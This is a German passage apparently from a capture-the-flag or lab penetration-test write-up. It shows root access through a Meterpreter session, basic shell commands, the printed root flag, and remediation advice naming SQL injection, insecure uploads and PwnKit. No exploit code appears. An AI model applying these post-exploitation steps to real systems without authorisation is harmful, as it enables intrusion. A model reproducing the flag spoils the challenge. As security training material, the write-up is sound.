Analyse: Aus der Root-Meterpreter-Session (Session 3) wird eine System-Shell (`shell`) geöffnet. * `id`: Bestätigt `uid=0(root)`. * `cd ~`: Wechselt in das Home-Verzeichnis von Root (`/root`). * `ls`: Listet den Inhalt auf und findet `proof.txt` und ein Verzeichnis `win`. * `cat proof.txt`: Gibt den Inhalt der Flag-Datei aus: `ccc34dede451108a8fe6f75d6ea7d2ae`.

Bewertung: Die Root-Flag wurde erfolgreich in `/root/proof.txt` gefunden und ausgelesen.

Empfehlung (Pentester): Dokumentieren Sie die Flag und den Angriffspfad. Der Test ist abgeschlossen.
Empfehlung (Admin): Sichern Sie die Flag-Datei (`chmod 600`). Beheben Sie alle identifizierten Schwachstellen (SQLi, unsichere Uploads, veraltete Software, PwnKit).

Flags

cat /root/proof.txt
ccc34dede451108a8fe6f75d6ea7d2ae